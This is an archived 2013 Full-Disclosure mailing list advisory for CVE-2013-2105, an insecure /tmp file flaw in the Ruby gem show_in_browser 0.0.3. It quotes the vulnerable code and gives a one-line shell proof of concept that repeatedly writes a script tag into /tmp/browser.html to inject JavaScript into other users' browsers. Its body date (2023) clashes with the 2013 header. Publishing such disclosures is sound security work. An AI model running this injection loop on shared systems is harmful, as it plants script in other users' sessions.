lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-id: <ba37a198-95de-44ce-be44-cabd04a8a31a@me.com>
Date: Fri, 24 May 2013 00:35:05 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: full <full-disclosure@...ts.grok.org.uk>
Subject: Show In Browser 0.0.3 Ruby Gem /tmp file
	injection vulnerability

TITLE: Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability.

DATE: 5/15/2023

AUTHOR: Larry W. Cashdollar (@_larry0)

DOWNLOAD: https://rubygems.org/gems/show_in_browser

DESCRIPTION: Opens arbitrary text in your browser

VENDOR: Jonathan Leung

FIX: N/A

CVE: 2013-2105

DETAILS: The following code uses the temporary file "/tmp/browser.html" insecurely.

 2   FILE_LOCATION = "/tmp/browser.html"

3 4 class << self 5 6 def show(html)

 7       file = File.open(FILE_LOCATION, 'w')
 8       file.write(html)
 9       file.close
10 
11 `open #{FILE_LOCATION}`


By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into 
the file right before it is about to be opened.

PoC:


nobody () pitter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done

Will pop up a java script alert in other gem users browser. 

ADVISORY: http://vapid.dhs.org/advisories/show_in_browser.html
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ